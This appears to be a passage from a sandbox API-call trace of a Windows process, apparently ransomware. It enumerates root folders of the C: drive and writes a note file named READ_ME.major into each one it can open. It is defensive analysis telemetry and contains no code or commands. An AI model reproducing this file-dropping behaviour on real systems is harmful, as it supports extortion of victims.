lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.352] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.352] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.353] CloseHandle (hObject=0x448) returned 1 [0106.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c78d0 | out: hHeap=0x570000) returned 1 [0106.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0106.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d380 | out: hHeap=0x570000) returned 1 [0106.353] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x7ef2dddf, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x7ef2dddf, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3d7ebe9, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x332fe000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0106.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.353] GetLastError () returned 0x0 [0106.353] SetLastError (dwErrCode=0x0) [0106.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.353] GetLastError () returned 0x0 [0106.353] SetLastError (dwErrCode=0x0) [0106.353] GetLastError () returned 0x0 [0106.353] SetLastError (dwErrCode=0x0) [0106.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0106.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11d0 | out: hHeap=0x570000) returned 1 [0106.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1298 [0106.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585310 [0106.353] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdf1d773, ftCreationTime.dwHighDateTime=0x1d1a04f, ftLastAccessTime.dwLowDateTime=0xa03727f1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xfd9ec80, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Logs", cAlternateFileName="")) returned 1 [0106.353] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.353] GetLastError () returned 0x0 [0106.353] SetLastError (dwErrCode=0x0) [0106.353] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.354] GetLastError () returned 0x0 [0106.354] SetLastError (dwErrCode=0x0) [0106.354] GetLastError () returned 0x0 [0106.354] SetLastError (dwErrCode=0x0) [0106.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10e0 [0106.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d200 [0106.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0106.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7a38 [0106.354] GetLastError () returned 0x0 [0106.354] SetLastError (dwErrCode=0x0) [0106.354] GetLastError () returned 0x0 [0106.354] SetLastError (dwErrCode=0x0) [0106.354] GetLastError () returned 0x0 [0106.354] SetLastError (dwErrCode=0x0) [0106.354] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.354] CreateFileW (lpFileName="\\Logs\\READ_ME.major" (normalized: "c:\\logs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.418] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.419] CloseHandle (hObject=0x448) returned 1 [0106.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7a38 | out: hHeap=0x570000) returned 1 [0106.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0106.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d200 | out: hHeap=0x570000) returned 1 [0106.419] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0106.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.420] GetLastError () returned 0x0 [0106.420] SetLastError (dwErrCode=0x0) [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.420] GetLastError () returned 0x0 [0106.420] SetLastError (dwErrCode=0x0) [0106.420] GetLastError () returned 0x0 [0106.420] SetLastError (dwErrCode=0x0) [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0106.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1068 [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x585330 [0106.420] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0106.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.420] GetLastError () returned 0x0 [0106.420] SetLastError (dwErrCode=0x0) [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.420] GetLastError () returned 0x0 [0106.420] SetLastError (dwErrCode=0x0) [0106.420] GetLastError () returned 0x0 [0106.420] SetLastError (dwErrCode=0x0) [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11f8 [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12c0 [0106.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11f8 | out: hHeap=0x570000) returned 1 [0106.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c12c0 | out: hHeap=0x570000) returned 1 [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0106.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11d0 [0106.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11f8 [0106.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2f0 [0106.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d350 [0106.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7be8 [0106.421] GetLastError () returned 0x0 [0106.421] SetLastError (dwErrCode=0x0) [0106.421] GetLastError () returned 0x0 [0106.421] SetLastError (dwErrCode=0x0) [0106.421] GetLastError () returned 0x0 [0106.421] SetLastError (dwErrCode=0x0) [0106.421] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.421] CreateFileW (lpFileName="\\PerfLogs\\READ_ME.major" (normalized: "c:\\perflogs\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.422] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.423] CloseHandle (hObject=0x448) returned 1 [0106.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7be8 | out: hHeap=0x570000) returned 1 [0106.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d350 | out: hHeap=0x570000) returned 1 [0106.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2f0 | out: hHeap=0x570000) returned 1 [0106.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11f8 | out: hHeap=0x570000) returned 1 [0106.423] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xd4d4b714, ftLastAccessTime.dwHighDateTime=0x1d50248, ftLastWriteTime.dwLowDateTime=0xd4d4b714, ftLastWriteTime.dwHighDateTime=0x1d50248, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0106.423] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.424] GetLastError () returned 0x0 [0106.424] SetLastError (dwErrCode=0x0) [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.424] GetLastError () returned 0x0 [0106.424] SetLastError (dwErrCode=0x0) [0106.424] GetLastError () returned 0x0 [0106.424] SetLastError (dwErrCode=0x0) [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11f8 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12c0 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11f8 | out: hHeap=0x570000) returned 1 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c12c0 | out: hHeap=0x570000) returned 1 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11f8 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bee18 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bee18 | out: hHeap=0x570000) returned 1 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12c0 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12e8 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3250 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3250 | out: hHeap=0x570000) returned 1 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c12e8 | out: hHeap=0x570000) returned 1 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c12c0 | out: hHeap=0x570000) returned 1 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c11f8 | out: hHeap=0x570000) returned 1 [0106.424] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.424] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12c0 [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c12e8 [0106.425] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0106.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.425] GetLastError () returned 0x0 [0106.425] SetLastError (dwErrCode=0x0) [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.425] GetLastError () returned 0x0 [0106.425] SetLastError (dwErrCode=0x0) [0106.425] GetLastError () returned 0x0 [0106.425] SetLastError (dwErrCode=0x0) [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40f0 [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0106.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40f0 | out: hHeap=0x570000) returned 1 [0106.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4710 [0106.425] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bedc0 [0106.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bedc0 | out: hHeap=0x570000) returned 1 [0106.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4710 | out: hHeap=0x570000) returned 1 [0106.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0106.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4780 [0106.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c11f8 [0106.426] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0106.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.426] GetLastError () returned 0x0 [0106.426] SetLastError (dwErrCode=0x0) [0106.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.426] GetLastError () returned 0x0 [0106.426] SetLastError (dwErrCode=0x0) [0106.426] GetLastError () returned 0x0 [0106.426] SetLastError (dwErrCode=0x0) [0106.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0106.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0106.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4710 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bed68 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bed68 | out: hHeap=0x570000) returned 1 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589978 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x5a3090 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a3090 | out: hHeap=0x570000) returned 1 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x596a90 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x596a90 | out: hHeap=0x570000) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589978 | out: hHeap=0x570000) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4710 | out: hHeap=0x570000) returned 1 [0106.427] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28e9c3a2, ftCreationTime.dwHighDateTime=0x1d32795, ftLastAccessTime.dwLowDateTime=0x1044dfc5, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x1044dfc5, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="Recovery", cAlternateFileName="")) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.427] GetLastError () returned 0x0 [0106.427] SetLastError (dwErrCode=0x0) [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.427] GetLastError () returned 0x0 [0106.427] SetLastError (dwErrCode=0x0) [0106.427] GetLastError () returned 0x0 [0106.427] SetLastError (dwErrCode=0x0) [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589b30 | out: hHeap=0x570000) returned 1 [0106.427] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5899c8 [0106.427] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589b30 [0106.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d2c0 [0106.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d240 [0106.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7528 [0106.428] GetLastError () returned 0x0 [0106.428] SetLastError (dwErrCode=0x0) [0106.428] GetLastError () returned 0x0 [0106.428] SetLastError (dwErrCode=0x0) [0106.428] GetLastError () returned 0x0 [0106.428] SetLastError (dwErrCode=0x0) [0106.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4748 [0106.428] CreateFileW (lpFileName="\\Recovery\\READ_ME.major" (normalized: "c:\\recovery\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448 [0106.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4748 | out: hHeap=0x570000) returned 1 [0106.432] WriteFile (in: hFile=0x448, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0106.433] CloseHandle (hObject=0x448) returned 1 [0106.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7528 | out: hHeap=0x570000) returned 1 [0106.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d240 | out: hHeap=0x570000) returned 1 [0106.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d2c0 | out: hHeap=0x570000) returned 1 [0106.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5898b0 | out: hHeap=0x570000) returned 1 [0106.433] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6ead2556, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6ead2556, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x47384f2, ftLastWriteTime.dwHighDateTime=0x1d4d600, nFileSizeHigh=0x0, nFileSizeLow=0x10000000, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="swapfile.sys", cAlternateFileName="")) returned 1 [0106.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.433] GetLastError () returned 0x0 [0106.433] SetLastError (dwErrCode=0x0) [0106.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.433] GetLastError () returned 0x0 [0106.433] SetLastError (dwErrCode=0x0) [0106.434] GetLastError () returned 0x0 [0106.434] SetLastError (dwErrCode=0x0) [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0106.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x589900 | out: hHeap=0x570000) returned 1 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5898b0 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x18) returned 0x5851d0 [0106.434] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x6e16f135, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0xb1ff7ba5, ftLastAccessTime.dwHighDateTime=0x1d336d8, ftLastWriteTime.dwLowDateTime=0xb1ff7ba5, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0106.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4460 | out: hHeap=0x570000) returned 1 [0106.434] GetLastError () returned 0x0 [0106.434] SetLastError (dwErrCode=0x0) [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4460 [0106.434] GetLastError () returned 0x0 [0106.434] SetLastError (dwErrCode=0x0) [0106.434] GetLastError () returned 0x0 [0106.434] SetLastError (dwErrCode=0x0) [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7d08 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0106.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7d08 | out: hHeap=0x570000) returned 1 [0106.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x589900 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7258 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1c0 [0106.434] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d390 [0106.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c70a8 [0106.435] GetLastError () returned 0x0 [0106.435] SetLastError (dwErrCode=0x0) [0106.435] GetLastError () returned 0x0 [0106.435] SetLastError (dwErrCode=0x0) [0106.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0106.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c70a8 | out: hHeap=0x570000) returned 1 [0106.435] GetLastError () returned 0x0 [0106.435] SetLastError (dwErrCode=0x0) [0106.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6a50 [0106.435] CreateFileW (lpFileName="\\System Volume Information\\READ_ME.major" (normalized: "c:\\system volume information\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0106.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6a50 | out: hHeap=0x570000) returned 1 [0106.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0106.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d390 | out: hHeap=0x570000) returned 1 [0106.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1c0 | out: hHeap=0x570000) returned 1 [0106.526] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7258 | out: hHeap=0x570000) returned 1 [0106.526] FindNextFileW (in: hFindFile=0x5a2710, lpFindFileData=0x2e3fb24 | out: 